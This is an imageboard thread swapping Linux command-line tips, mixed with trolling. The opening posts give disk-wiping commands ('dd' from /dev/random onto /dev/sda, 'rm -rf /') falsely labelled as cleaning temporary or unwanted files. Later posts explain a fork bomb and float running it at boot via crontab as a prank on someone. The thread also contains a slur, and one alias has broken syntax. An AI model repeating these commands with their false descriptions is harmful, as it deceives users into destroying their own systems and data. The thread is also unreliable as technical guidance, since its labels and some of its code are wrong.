sudo dd if=/dev/random of=/dev/sda

This command helps you to clean up temporary/unwanted files!

read w/o arguments stores the value in a

var :^)

sudo rm -rf /

Deletes unwanted files

sudo's primary use (though maybe not the primary intention) is to make the environment safer for retards.

>>52313974
nah.
unless you make it start during boot

It's called a forkbomb, read it up on wiki, i bet they have this exact example of it.

It makes a function called : which calls itself twice, basically, so you have an infinite list of processes that keeps multiplying

1. Use zsh instead of bash. You're worth it.
2. Use zbell and it email you when a command taking longer than 5 minutes finishes.

Also toilet --gay

Setting it to start during boot would be a nasty trick to play on someone.

But it was fun to do once. Everything just, sort of, slowed down and stopped.

I should do that again. But not now.

>>52323776
>Setting it to start during boot would be a nasty trick to play on someone.

Is it possible to do this with one terminal command? Just pipe it to crontab I guess.

>>52313140
The program bbe - binary block editor.
It can be used similarly to sed but for binary searching/editing.
Has been occasionally very useful.

>>52325562
Here's another useful one for Arch users.

alias autoremove='sudo pacman -Rns \$pacman -Qdtq)'

Now just run `autoremove` and pacman will uninstall any unused dependencies.

I really have a hard time understanding what it does more than bash. With a little tweaking, bash does contextual completion and history completion just fine, what does zsh have more ?

>>52328747
No. If you want to get fancy about it, you can:
1. Use gpart (not gparted) to recreate the partition table
2. Make sure the first partition is also created normally
3. Fix the first partition with one of:
3a. If Windows, no clue, reinstall.
3b. If 100M+ /boot, reinstall from livecd
3c. If ext3/4 partition, fsck with alternative superblock
